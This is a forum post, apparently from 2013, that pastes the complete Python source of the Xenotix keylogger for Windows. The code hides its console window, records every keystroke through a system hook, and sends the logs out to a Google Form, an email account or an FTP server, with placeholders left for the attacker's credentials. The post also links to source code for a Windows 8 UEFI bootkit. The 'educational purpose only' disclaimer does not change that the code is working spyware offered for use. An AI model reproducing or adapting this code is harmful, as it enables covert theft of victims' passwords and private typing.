io.kent Posted August 30, 2013 Report Posted August 30, 2013 (edited) '''Xenotix Python Keylogger for Windows====================================Coded By: Ajin Abraham <ajin25@gmail.com>Website: http://keralacyberforce.in/xenotix-python-keylogger-for-windows/GitHub: https://github.com/ajinabraham/Xenotix-Python-KeyloggerFEATURES========1.STORE LOGS LOCALLY2.SEND LOGS TO GOOGLE FORMS3.SEND LOGS TO EMAIL4.SEND LOGS TO FTPMINIMUM REQUIREMENTS===================Python 2.7: http://www.python.org/getit/pyHook Module: http://sourceforge.net/projects/pyhook/pyrhoncom Module: http://sourceforge.net/projects/pywin32/NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.'''try: import pythoncom, pyHookexcept: print "Please Install pythoncom and pyHook modules" exit(0)import osimport sysimport threadingimport urllib,urllib2import smtplibimport ftplibimport datetime,timeimport win32event, win32api, winerror#Disallowing Multiple Instancemutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None print "Multiple Instance not Allowed" exit(0)x=''data=''count=0#Hide Consoledef hide(): import win32console,win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window,0) return Truedef msg(): print """Xenotix Python Keylogger for WindowsCoder: Ajin Abraham <ajin25@gmail.com>www.keralacyberforce.inusage:xenotix_python_logger.py modemode: local: store the logs in a file [keylogs.txt] remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script. email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO). ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY). """ return True#Local Keyloggerdef local(): global data if len(data)>100: fp=open("keylogs.txt","a") fp.write(data) fp.close() data='' return True#Remote Google Form logs postdef remote(): global data if len(data)>100: url="https://docs.google.com/forms/d/xxxxxxxxxxxxx" #Specify Google Form URL here klog={'entry.xxxxxxx':data} #Specify the Field Name here try: dataenc=urllib.urlencode(klog) req=urllib2.Request(url,dataenc) response=urllib2.urlopen(req) data='' except Exception as e: print e return True#Email Logsclass TimerClass(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.event = threading.Event() def run(self): while not self.event.is_set(): global data if len(data)>100: ts = datetime.datetime.now() SERVER = "smtp.gmail.com" #Specify Server Here PORT = 587 #Specify Port Here USER="xxxxxx@gmail.com"#Specify Username Here PASS="xxxxxxxxxxxx"#Specify Password Here FROM = USER#From address is taken from username TO = ["xxxxxxx@gmail.com"] #Specify to address.Use comma if more than one to address is needed. SUBJECT = "Keylogger data: "+str(ts) MESSAGE = data message = """\From: %sTo: %sSubject: %s%s""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE) try: server = smtplib.SMTP() server.connect(SERVER,PORT) server.starttls() server.login(USER,PASS) server.sendmail(FROM, TO, message) data='' server.quit() except Exception as e: print e self.event.wait(120)#Upload logs to FTP accountdef ftp(): global data,count if len(data)>100: count+=1 FILENAME="logs-"+str(count)+".txt" fp=open(FILENAME,"a") fp.write(data) fp.close() data='' try: SERVER="ftp.xxxxxxxxxx.com" #Specify your FTP Server address USERNAME="xxxx" #Specify your FTP Username PASSWORD="xxxx" #Specify your FTP Password SSL=0 #Set 1 for SSL and 0 for normal connection OUTPUT_DIR="/" #Specify output directory here if SSL==0: ft=ftplib.FTP(SERVER,USERNAME,PASSWORD) elif SSL==1: ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD) ft.cwd(OUTPUT_DIR) fp=open(FILENAME,'rb') cmd= 'STOR' +' '+FILENAME ft.storbinary(cmd,fp) ft.quit() fp.close() os.remove(FILENAME) except Exception as e: print e return Truedef main(): global x if len(sys.argv)==1: msg() exit(0) else: if sys.argv[1]=="local": x=1 hide() elif sys.argv[1]=="remote": x=2 hide() elif sys.argv[1]=="email": hide() email=TimerClass() email.start() elif sys.argv[1]=="ftp": x=4 hide() else: msg() exit(0) return Truemain()def keypressed(event): global x,data if event.Ascii==13: keys='<ENTER>' elif event.Ascii==8: keys='<BACK SPACE>' elif event.Ascii==9: keys='<TAB>' else: keys=chr(event.Ascii) data=data+keys if x==1: local() elif x==2: remote() elif x==4: ftp()obj = pyHook.HookManager()obj.KeyDown = keypressedobj.HookKeyboard()pythoncom.PumpMessages()-----------------------------------------------------------------------------------windows 8 x64 UEFI bootkit (sources)https://github.com/quarkslab/dreamboot Edited August 30, 2013 by io.kent Quote